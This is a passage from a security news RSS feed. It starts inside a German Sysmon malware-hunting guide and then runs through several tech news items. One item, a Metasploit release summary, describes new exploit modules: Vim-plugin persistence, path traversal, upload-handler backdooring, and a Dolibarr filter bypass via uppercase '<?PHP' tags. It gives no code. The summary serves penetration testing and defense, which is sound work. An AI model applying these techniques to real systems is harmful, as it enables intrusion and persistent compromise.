<p>Sysmon ist ein leistungsfähiges Werkzeug für die Suche nach Schadsoftware, die sich im System eingenistet hat und dort dauerhaft aktiv ist. Zur Analyse gehen Sie die Ereignisliste mit den Pfeiltasten durch und achten dabei auf alle Ereignisse, die von unbekannten oder verdächtig anmutenden Anwendungen ausgelöst wurden. Sehen Sie sich auch eventuelle Treiberänderungen genau an.</p>



<h2 class="wp-block-heading toc">Sysmon-Ereignisse eingrenzen</h2>



<p>Sie werden schnell feststellen, dass die Suche nach verdächtigen Ereignissen eine langwierige Angelegenheit ist. Die meisten Ereignismeldungen stammen von unverdächtigen Anwendungen wie Ihrem Browser oder Microsoft Edge Webview2.</p>



<p>Das wird für die Darstellung von Webinhalten in Windows-Programmen wie Teams oder Outlook genutzt. Um solche uninteressanten Ereignisse aus der Liste herauszufiltern, können Sie in Sysmon eine Konfigurationsdatei im XML-Format laden.</p>



<p>Eine solche Datei von Grund auf selbst aufzubauen, ist nicht einfach. Microsoft hat daher auf seiner Website eine einfache Grundversion einer solchen Konfigurationsdatei veröffentlicht. Diese filtert zunächst einmal alle Ereignisse heraus, die sich auf Treiber mit einer anderen Signatur als Microsoft oder Windows beziehen.</p>



<p>Außerdem werden alle Ereignisse zur Beendigung von Prozessen und zu Netzwerkverbindungen über die Ports 80 und 443 herausgefiltert. Über diese Ports laufen die klassischen Webprotokolle HTTP und HTTPS.</p>



<p>Um die Konfigurationsdatei zu laden, öffnen Sie diese <a href="https://learn.microsoft.com/de-de/sysinternals/downloads/sysmon" target="_blank" rel="noreferrer noopener">Webseite</a>, scrollen dort nach unten zum Abschnitt „Konfigurationsdateien“ und klicken dort rechts auf den Button „Kopieren“. </p>



<p>Fügen Sie den Text in den Editor von Windows ein, gehen auf „Datei &gt; Speichern unter“, stellen bei Dateityp „Alle Dateien (*.*)“ ein, ändern neben Dateiname die Endung von txt in xml und speichern das File unter einem frei wählbaren Namen wie <em>config_sysmon.xml</em> in einem beliebigen Ordner.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a0d7284e04e4"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/05/Systemmonitor-Konfigurationsdatei.png?w=1200" alt="Systemmonitor Konfigurationsdatei" class="wp-image-3129962" width="1200" height="797" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Auf seiner Website hat Microsoft ein Beispiel für eine Sysmon-Konfigurationsdatei veröffentlicht. Diese kann von jedem Benutzer beliebig angepasst werden.</p></figcaption></figure><p class="imageCredit">Roland Freist</p></div>



<p>Der Microsoft-Mitarbeiter, der diese Datei angelegt hat, heißt Moti Bani. Er hat darüber hinaus auf Github eine erweiterte Version mit dem Dateinamen <em>config-v17.xml</em> <a href="https://github.com/MotiBa/Sysmon/tree/master" target="_blank" rel="noreferrer noopener">veröffentlicht</a>.</p>



<p>Klicken Sie den Dateinamen auf der Webseite an und gehen Sie im folgenden Fenster in der Symbolleiste auf das Downloadsymbol mit der Quickinfo „Download raw file“. Die Datei landet daraufhin in Ihrem Downloadordner.</p>



<p>Moti Bani versteht beide Dateien als Vorlagen, die von Anwendern nach eigenen Vorstellungen und Bedürfnissen angepasst werden können. Hilfestellung dazu gibt es auf der oben angegebenen Downloadseite von Sysmon oder <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon" target="_blank" rel="noreferrer noopener">hier</a>.</p>



<h2 class="wp-block-heading toc">Eine Sysmon-Konfiguration laden</h2>



<p>Um eine XML-Konfigurationsdatei mit Sysmon zu laden, benötigen Sie wieder die Eingabeaufforderung mit Administratorrechten. Tippen Sie dort den Befehl <em>sysmon.exe -i [Pfad zur XML-Datei]</em> ein. Wenn die Datei beispielsweise <em>config_sysmon.xml</em> heißt und im Ordner C:\Temp liegt, lautet der Befehl <em>sysmon.exe -i C:\Temp\config_sysmon.xml</em>.</p>



<p>Wenn Sie zu einer anderen Konfigurationsdatei wechseln wollen, etwa zu config-v17.xml, dann geben Sie <em>sysmon.exe -i C:\Temp\config-v17.xml</em> ein – vorausgesetzt natürlich, auch diese Datei befindet sich im Ordner C:\Temp. Falls Sie Sysmon wieder in den Ausgangszustand versetzen und alle Konfigurationen löschen möchten, verwenden Sie den Befehl <em>sysmon -c —</em>.</p>



<h2 class="wp-block-heading toc">Was tun nach der Auswertung?</h2>



<p>Wenn Ihnen ein laufender Prozess oder geladener Treiber seltsam vorkommt, so sollten Sie in einem ersten Schritt den Virenscanner Ihres Antivirentools starten und eine vollständige Überprüfung durchführen lassen. </p>



<p>Auch dann, wenn das mehrere Stunden dauert. Ergänzend können Sie die im Ereignisprotokoll angegebene Datei zu <a href="http://www.virustotal.com/" target="_blank" rel="noreferrer noopener">Virustotal</a> hochladen und dort analysieren lassen.</p>



<p>Sie können Sysmon natürlich auch einfach nur einsetzen, um Ihren Rechner etwas zu entlasten. Überlegen Sie sich dann, auf welche der geladenen Prozesse beziehungsweise Programme Sie verzichten können.</p>



<p>Suchen Sie dann den angegebenen Pfad auf und benennen Sie die angegebene Datei vorsichtshalber zunächst nur um. Starten Sie Ihren Computer neu und beobachten Sie, was passiert. Falls es zu keinen Störungen kommt, können Sie das Programm endgültig deinstallieren.</p>



<div class="wp-block-idg-base-theme-box-text inline-box">
<h2 class="wp-block-heading">Process Monitor versus System Monitor</h2>



<p>Es gibt diverse Tools, um die laufenden Prozesse vollständig aufzulisten. Dazu zählen neben Sysmon auch der Process Monitor, kurz Procmon. Dieser stammt ebenfalls von Mark Russinovich oder seiner Firma Sysinternals.</p>



<p>Microsoft hat Russinovich längst als Chief Technology Officer eingestellt und bietet die Sysinternals-Tools <a href="https://download.sysinternals.com/files/SysinternalsSuite.zip" target="_blank" rel="noreferrer noopener">gratis zum Download</a>.</p>



<p>Der Hauptunterschied zwischen Sysmon und Procmon ist, dass Procmon eine Momentaufnahme aller aktuell laufenden Prozesse liefert. Sysmon hingegen läuft dauerhaft im Hintergrund und protokolliert den Start und das Beenden der Windows-Prozesse.</p>



<p><a href="https://tinyurl.com/26yb8tmd" target="_blank" rel="noreferrer noopener">Procmon</a> steht zum Download bereit. Auch <a href="https://tinyurl.com/mjx49f46" target="_blank" rel="noreferrer noopener">Sysmon </a>findet man als Download bei Microsoft – alternativ zur Installation über Windows 11.</p>



<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a0d7284e1311"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/05/Systemmonitor-Procmon.png" alt="Systemmonitor Procmon" class="wp-image-3129963" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Auch der Process Monitor liefert eine Übersicht der geladenen Dienste. Im Unterschied zu Sysmon zeigt er jedoch lediglich eine Momentaufnahme.</p></figcaption></figure><p class="imageCredit">Roland Freist</p></div>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Interview mit Mirko Lange: "Es war völlig crazy"]]></title>
<description><![CDATA[Mirko Lange, Gründer von Scompler, hat in vielen Jahren gelernt, wie man KI im Software Development richtig einsetzt. (Chefs von Devs, KI)]]></description>
<link>https://tsecurity.de/de/3532182/it-nachrichten/interview-mit-mirko-lange-es-war-voellig-crazy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3532182/it-nachrichten/interview-mit-mirko-lange-es-war-voellig-crazy/</guid>
<pubDate>Wed, 20 May 2026 10:32:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Mirko Lange, Gründer von Scompler, hat in vielen Jahren gelernt, wie man KI im Software Development richtig einsetzt. (<a href="https://www.golem.de/specials/chefsvondevs/">Chefs von Devs</a>, <a href="https://www.golem.de/specials/ki/">KI</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=208833&amp;page=1&amp;ts=1779265802" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[AWS nabs white hot gen AI media creation startup fal, becoming its preferred cloud provider]]></title>
<description><![CDATA[Generative AI’s rapid transition from text-based chatbots to high-fidelity media—spanning images, video, spatial 3D, and audio—has exposed a glaring bottleneck in the modern tech stack: infrastructure. Rendering pixels in real-time requires a staggering amount of compute, and developers are incre...]]></description>
<link>https://tsecurity.de/de/3531163/it-nachrichten/aws-nabs-white-hot-gen-ai-media-creation-startup-fal-becoming-its-preferred-cloud-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3531163/it-nachrichten/aws-nabs-white-hot-gen-ai-media-creation-startup-fal-becoming-its-preferred-cloud-provider/</guid>
<pubDate>Wed, 20 May 2026 02:17:26 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Generative AI’s rapid transition from text-based chatbots to high-fidelity media—spanning images, video, spatial 3D, and audio—has exposed a glaring bottleneck in the modern tech stack: infrastructure. Rendering pixels in real-time requires a staggering amount of compute, and developers are increasingly struggling to manage fragmented GPU clusters just to keep their applications online.</p><p>Enter <a href="https://fal.ai/">fal</a>, a generative media creation platform that has quietly become the connective tissue for 2.5 million developers across the globe, offering literally hundreds of leading AI image, video, and audio creation and editing models — from proprietary ones like OpenAI's ChatGPT-Images-2.0 and Google's Nano Banana Pro 2 to open source rivals — all through its unified interface and APIs.</p><p>Today, the San Francisco-based startup, recently valued at a massive $4.5 billion following a $300 million Series D round led by Sequoia Capital, <a href="https://www.businesswire.com/news/home/20260519125851/en/fal-Scales-the-Worlds-Largest-Generative-Media-Platform-with-AWS-Serving-2.5-Million-Developers">announced</a> it has selected<a href="https://aws.amazon.com/"> Amazon Web Services (AWS)</a> as its preferred cloud provider. </p><p>While the financial terms of the deal weren't made public, the move signals a maturation in the generative media space, shifting the focus from simply building foundational models to effectively scaling them for mass, commercial consumption.</p><p>“AWS has been there for distribution and monetization, and for the use of AI in creative pursuits — helping designers, developers, and the creative community think through how they can use AI responsibly, scalably, and at global scale," said Samira Panah Bakhtiar, General Manager for Media, Entertainment, Games, and Sports at AWS, in an exclusive interview with VentureBeat.</p><h2><b>A one-stop-shop for Gen AI media allowing enterprises to plug in and choose the best model for their needs</b></h2><p>At its core, fal operates as a unified gateway to the rapidly expanding generative AI ecosystem. Rather than forcing developers to provision their own servers, deal with latency issues, or string together disparate open-source model weights, fal provides a single, unified API. Through this API, users gain instant access to over 1,000 production-ready AI models.</p><p>Think of it as the Stripe or Plaid of generative media: abstracting away the devastatingly complex back-end plumbing so developers can focus solely on the user experience. </p><p>It is a "plug-and-play" solution that has already attracted independent creators and enterprise giants alike, powering generative workflows for enterprises including Canva, Adobe, and Amazon MGM Studios.</p><p>“Generative media workloads demand a fundamentally different infrastructure layer, one that can handle massive parallel inference, rapid model iteration, and production-grade reliability at scale,” said Gorkem Yurtseven, CTO and Co-founder of fal, in a statement provided to VentureBeat. </p><p>Neither AWS nor fal specified what other cloud or GPU providers the latter was using prior to their deal together. Asked who fal had been using before AWS, Bakhtiar did not name a prior cloud or GPU provider, saying instead that fal is now using AWS services. </p><p>In a <a href="https://blog.fal.ai/fal-and-aws-building-for-the-next-phase-of-generative-media/">blog post</a>, fal's Head of Compute Partnerships Emir Lise described AWS as providing the “global scale and reliability layer” for its existing serverless generative-media infrastructure — framing the partnership around elasticity, reliability and enterprise scale rather than a replacement of a named incumbent.</p><p>A public search turned up <a href="https://www.tigrisdata.com/blog/case-study-falai/">Tigris as a storage provider for fal</a> — with Tigris saying fal runs a “global fleet of GPUs across many clouds” — and an<a href="https://blog.fal.ai/fal-is-now-available-through-google-cloud-marketplace/"> announcement from fal in Septemeber 2025</a> that it was available through Google Cloud Marketplace, allowing customers to buy fal through Google Cloud billing and governance, but that listing does not state that Google Cloud powered fal’s GPU infrastructure.</p><h2><b>99.99% guaranteed uptime?</b></h2><p>By partnering with AWS, fail aims to merge its highly optimized inference engine with Amazon’s global reach to handle millions of daily API calls with 99.99% guaranteed uptime.</p><p>In addition, Bakhtiar said fal users can expect to see "faster inference and performance, greater efficiency, more scalability, and more seamless service continuity — all things you would expect as a result of partnering with the world’s largest, broadly adopted cloud."</p><p>Therefore, the primary benefit for fal users is better performance and reliability without changing how they work: faster inference, more scalability, smoother continuity, and access to production-ready AI models without managing their own infrastructure.</p><p>For fal, the partnership makes its platform stronger for creators, studios, and enterprise customers by backing it with AWS’s security, global scale, and cloud infrastructure.</p><p>For AWS, it helps push cloud and AI deeper into creative production, not just distribution or monetization. It positions AWS as a key infrastructure partner for studios, media companies, developers, and individual creators building AI-powered content workflows.</p><h2><b>Offloading the GPU burden</b></h2><p>The partnership with AWS is designed to address the sheer physics and cost of rendering generative media. By migrating its operations to AWS, fal will be able to leverage Amazon’s broad suite of AI services, including the Bedrock platform, alongside custom-built silicon like Trainium and Graviton processors.</p><p>"You don't have to manage like a GPU fleet to use the AI for creative pursuits," Bakhtiar explained.</p><p>This is a critical pain point for larger-scale media generation demands in 2026. Securing high-performance GPUs for parallel inference is both expensive and technically demanding. </p><p>By shifting that burden to AWS, fal ensures that creatives can focus on their workflows, without needing a dedicated DevOps team.</p><p>Bakhtiar also noted the powerful "network effect" of building on AWS. Because major studios and creative platforms (like Adobe and Canva) are already deeply entrenched in the AWS ecosystem, integrating fal's API into their existing pipelines becomes a frictionless endeavor.</p><h2><b>Enterprise-grade security and compliance with gen AI creative speed</b></h2><p>For IT leaders and developers, fal's architecture offers a distinct advantage regarding licensing, security, and deployment. </p><p>Historically, utilizing frontier generative models meant either accepting strict vendor lock-in from a single provider or attempting to host open-source models locally. </p><p>The latter requires significant overhead and forces enterprises to navigate a minefield of disparate open-source licenses (such as MIT, Apache 2.0, or restrictive non-commercial licenses).</p><p>fal bypasses this friction by offering commercial API access to a curated ecosystem of models. Developers simply pay for the inference they consume. </p><p>Furthermore, the platform is SOC 2 compliant and explicitly built for "enterprise scale," meaning it meets the stringent data privacy and security benchmarks required by heavily regulated industries and massive consumer platforms. </p><p>For large media conglomerates, this managed service approach allows them to experiment with the latest state-of-the-art tools securely, without the risk of exposing proprietary data or intellectual property.</p><h2><b>Empowering devs and vibe coders</b></h2><p>The true impact of fal’s platform, however, is best observed at the developer level. By democratizing access to high-end infrastructure, fal is enabling a new class of builders—often referred to as "vibe coders"—to create complex, multimodal applications without traditional computer science backgrounds.</p><p>As Bakhtiar pointed out, access to these tools fundamentally "levels the playing field". Whether it is an individual developer or hobbyist vibe coding a side project, or a fully-funded editor or director rendering a blockbuster film, the underlying technology is now identical, infinitely scalable, and ready for production. </p><p>“More creatives — whether they’re full-fledged studios, indie brands, or individual content creators — are now going to be able to access these tools, and they’re going to be able to punch way above their weight as a result," Bakhtiar said, casting the partnership as a way to serve even more users through fal thanks to the reliability of AWS's servers and custom Trainium, Graviton and Inferentia chips. </p><p>The rollout of enhanced AWS capabilities for fal customers will occur in phases throughout 2026.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google tells database devs to lean hard on AI for PostgreSQL work]]></title>
<description><![CDATA[Cloud giant says humans remain accountable, even when code gets an assist from the machines]]></description>
<link>https://tsecurity.de/de/3525397/it-nachrichten/google-tells-database-devs-to-lean-hard-on-ai-for-postgresql-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3525397/it-nachrichten/google-tells-database-devs-to-lean-hard-on-ai-for-postgresql-work/</guid>
<pubDate>Mon, 18 May 2026 11:17:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cloud giant says humans remain accountable, even when code gets an assist from the machines]]></content:encoded>
</item>
<item>
<title><![CDATA[CMP/KMP vs Electron for desktop app?]]></title>
<description><![CDATA[I'm building an android app using kotlin and I'm planning to build one for desktop as well. Which is the better way to build? Cmp/kmp would be easier because i dont have to rewrite all the logic again whereas building in electron will attract more open source devs to contribute but i have to buil...]]></description>
<link>https://tsecurity.de/de/3521272/linux-tipps/cmpkmp-vs-electron-for-desktop-app/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3521272/linux-tipps/cmpkmp-vs-electron-for-desktop-app/</guid>
<pubDate>Sat, 16 May 2026 03:52:04 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I'm building an android app using kotlin and I'm planning to build one for desktop as well. Which is the better way to build? Cmp/kmp would be easier because i dont have to rewrite all the logic again whereas building in electron will attract more open source devs to contribute but i have to build from scratch which will take a lot of time.</p> <p>What would you suggest in your opinion?</p> <p>PS: I'm also a CS student so which will have a better impact on resume? For SWE roles.</p> <p>Thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Express_Resolve9972"> /u/Express_Resolve9972 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1tefrlx/cmpkmp_vs_electron_for_desktop_app/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1tefrlx/cmpkmp_vs_electron_for_desktop_app/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Metasploit Wrap-Up 05/15/2026]]></title>
<description><![CDATA[Weaponizing a text editor for fun and profitGather round, dear readers, because today, we (by we, we mean @h00die) dropped the ultimate persistence mechanism: Vim plugin persistence. And honestly, calling it "persistence" feels redundant — Vim is already the most persistent thing ever. Somewhere,...]]></description>
<link>https://tsecurity.de/de/3520684/it-security-nachrichten/metasploit-wrap-up-05152026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3520684/it-security-nachrichten/metasploit-wrap-up-05152026/</guid>
<pubDate>Fri, 15 May 2026 21:22:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p></p><h2>Weaponizing a text editor for fun and profit</h2><p>Gather round, dear readers, because today, we (by we, we mean @h00die) dropped the ultimate persistence mechanism: Vim plugin persistence. And honestly, calling it "persistence" feels redundant — Vim is already the most persistent thing ever. Somewhere, somehow, there will still be a Vim session open since 2011, because no one has figured out how to close it. So we are not so much establishing a foothold here as we are joining an existing hostage situation.</p><p>Elsewhere this week, Marvell's QConvergeConsole has been caught handing arbitrary files to unauthenticated visitors, as is tradition (CVE-2025-6793), GestioIP 3.5.7 ships an upload handler, so trusting it will cheerfully let an admin overwrite the handler with a backdoor and then dutifully execute it (CVE-2024-48760). And of course, we can't forget about Dolibarr ERP/CRM, which blocks PHP injections by checking — and we cannot stress this enough — by searching for string &lt;?php. So @M4nu02 brought an elaborate module which changes &lt;?php to &lt;?PHP in the payload to successfully bypass this mitigation (CVE-2023-30253). Truly a wonderful time to be alive.</p><h2></h2><figure><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80fb065b3abb4a91/6a076d2ec9bda18363c9f093/vim-meme.png" class="embedded-asset" content-type-uid="sys_assets" type="asset" alt="vim-meme.png" asset-alt="vim-meme.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80fb065b3abb4a91/6a076d2ec9bda18363c9f093/vim-meme.png" data-sys-asset-uid="blt80fb065b3abb4a91" data-sys-asset-filename="vim-meme.png" data-sys-asset-contenttype="image/png" data-sys-asset-alt="vim-meme.png" sys-style-type="display"></figure><h2>New module content (4)</h2><h3>Marvell QConvergeConsole Path Traversal (CVE-2025-6793)</h3><p>Authors: Michael Heinzl and rgod</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21322">#21322</a> contributed by <a href="https://github.com/h4x-x0r">h4x-x0r</a></p><p>Path: gather/qconvergeconsole_traversal</p><p>CVE reference: ZDI-25-450</p><p>Description: This adds a new auxiliary module that exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole to read arbitrary files from the target host. Marvell QConvergeConsole versions 5.5.0.85 and earlier are vulnerable, and no authentication is required to exploit the issue.</p><h3>VIM Plugin Persistence</h3><p>Author: h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21206">#21206</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: linux/persistence/vim_plugin</p><p>Description: This adds a new Linux persistence module, which establishes persistence by writing a Vim plugin to the target user's ~/.vim/plugin/ directory. The next time that user launches Vim, the plugin executes the configured payload and opens a new session as that user.</p><h3>GestioIP 3.5.7 Remote Command Execution</h3><p>Authors: maxibelino and odeez24</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21041">#21041</a> contributed by <a href="https://github.com/Odeez24">Odeez24</a></p><p>Path: multi/http/gestioip_rce</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2024-48760&amp;referrer=blog">CVE-2024-48760</a></p><p>Description: This adds an exploit module for an authenticated remote code execution vulnerability in GestioIP 3.5.7 (CVE-2024-48760). An attacker with admin credentials can abuse the unsafe upload handler at /api/upload.cgi to overwrite the script itself with a backdoor, which is then invoked to execute attacker-supplied commands.</p><h3>Dolibarr ERP/CRM Authenticated Code Injection</h3><p>Authors: Emanuele Cervelli and Tinexta Cyber Offensive Security Team</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21362">#21362</a> contributed by <a href="https://github.com/M4nu02">M4nu02</a></p><p>Path: unix/http/dolibarr_cms_rce_cve_2023_30253</p><p>AttackerKB reference: <a href="https://attackerkb.com/search?q=CVE-2023-30253&amp;referrer=blog">CVE-2023-30253</a></p><p>Description: This adds a new exploit module for Dolibarr ERP/CRM (CVE-2023-30253), an authenticated PHP code injection vulnerability affecting versions before 17.0.1. The module abuses the Website module to inject a payload that bypasses Dolibarr's PHP tag filter by using uppercase &lt;?PHP tags instead of the filtered lowercase form. Valid credentials with access to the Website module are required.</p><h2>Enhancements and features (1)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20617">#20617</a> from <a href="https://github.com/Aaditya1273">Aaditya1273</a> - Adds an OptArray datastore option type to the framework. Previously multi valued datastore options were usually input as comma separated strings, now Metasploit devs have the option to use OptArray.</li></ul><h2>Bugs fixed (0)</h2><p>None</p><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-05-08T17%3A05%3A58%2B01%3A00..2026-05-14T12%3A44%3A22Z%22">Pull Requests 6.4.132...6.4.133</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.132...6.4.133">Full diff 6.4.132...6.4.133</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI might help speed up software development, but 81% of devs now spend more time reviewing code – and it’s creating an ‘invisible work’ trend that’s pushing teams to the limit]]></title>
<description><![CDATA[While AI is improving productivity and efficiency, many developers are caught up in a vicious cycle of code reviews and bug hunting]]></description>
<link>https://tsecurity.de/de/3520250/it-security-nachrichten/ai-might-help-speed-up-software-development-but-81-of-devs-now-spend-more-time-reviewing-code-and-its-creating-an-invisible-work-trend-thats-pushing-teams-to-the-limit/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3520250/it-security-nachrichten/ai-might-help-speed-up-software-development-but-81-of-devs-now-spend-more-time-reviewing-code-and-its-creating-an-invisible-work-trend-thats-pushing-teams-to-the-limit/</guid>
<pubDate>Fri, 15 May 2026 17:50:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While AI is improving productivity and efficiency, many developers are caught up in a vicious cycle of code reviews and bug hunting]]></content:encoded>
</item>
<item>
<title><![CDATA[Developers can now debug and evaluate AI agents locally with Raindrop's open source tool Workshop]]></title>
<description><![CDATA[Observability startup Raindrop AI’s new open source, MIT Licensed "Workshop" tool, launched today, gives developers something that they've likely wanted, perhaps subconsciously, since the agentic AI era kicked off in earnest last year: a local debugger and evaluation tool specifically designed fo...]]></description>
<link>https://tsecurity.de/de/3518103/it-nachrichten/developers-can-now-debug-and-evaluate-ai-agents-locally-with-raindrops-open-source-tool-workshop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3518103/it-nachrichten/developers-can-now-debug-and-evaluate-ai-agents-locally-with-raindrops-open-source-tool-workshop/</guid>
<pubDate>Fri, 15 May 2026 01:31:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Observability startup <a href="https://www.raindrop.ai/">Raindrop AI</a>’s new open source, MIT Licensed "<a href="https://www.raindrop.ai/workshop/?ref=producthunt">Workshop</a>" tool, launched today, gives developers something that they've likely wanted, perhaps subconsciously, since the agentic AI era kicked off in earnest last year: a local debugger and evaluation tool specifically designed for AI agents, allowing devs to see all the traces of what their agent has been doing in a single, lightweight Structured Query Language (SQL) database file (.db)</p><p>It functions as a local daemon and UI that streams every token, tool call, and decision to a local dashboard—typically hosted at <code>localhost:5899</code>—the moment it occurs. By visiting their localhost, developers can then see everything their agent was up to — including mistakes or errors — and identify what went wrong, when, and ideally, discern why. It's all stored in a single .db file, which takes up relatively little memory, according to a X direct message VentureBeat received from Ben Hylak, Raindrop's co-founder and CTO (and a former Apple and SpaceX engineer). </p><p>This real-time telemetry eliminates the latency of traditional polling and addresses a growing developer concern regarding the privacy of sending local traces to external servers.</p><p>The tool is available for macOS, Linux, and Windows. It can be installed through a one-line shell command that automates binary placement and PATH configuration for bash, zsh, and fish shells. For developers who prefer to build from source, the repository is hosted on GitHub and utilizes the Bun runtime. </p><h2><b>The product: establishing a self-healing eval loop</b></h2><p>The platform’s standout feature is the "self-healing eval loop," which allows coding agents like Claude Code to read traces, write evals against the codebase, and fix broken code autonomously. </p><p>In a practical application, if a veterinary assistant agent fails to ask necessary follow-up questions, Workshop captures the full trajectory. Claude Code then reads this trace, writes a specific eval, identifies the logic error in the prompt or code, and re-runs the agent until all assertions pass.</p><h2><b>Compatibility and ecosystem integration</b></h2><p>Workshop is compatible with a broad range of programming languages, including TypeScript, Python, Rust, and Go.</p><p>It integrates with popular SDKs and frameworks such as the Vercel AI SDK, OpenAI, Anthropic, LangChain, LlamaIndex, and CrewAI. It is also designed to work seamlessly with various coding agents, including Claude Code, Cursor, Devin, and OpenCode.</p><h2><b>Licensing and community implications</b></h2><p>Workshop is released under the MIT License, ensuring it remains free and open-source for all users. This permissive licensing is intended to foster community contribution and allow enterprise users to maintain data sovereignty. </p><p>Hylak noted on X that the tool was built to provide a "sane" way to debug agents locally, changing how their team and early customers build autonomous systems.</p><p>To celebrate the launch, Raindrop offered limited-edition physical merchandise to users who installed the tool and executed a specific "drip" command.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux devs are fighting the new age-gated internet]]></title>
<description><![CDATA[In January, Colorado lawmakers introduced a proposal to make operating systems collect users' ages and pass them to app developers. The bill, SB26-051, had clearly been designed for commercial platforms like iOS and Android - one of numerous plans to age-gate the internet through users' devices. ...]]></description>
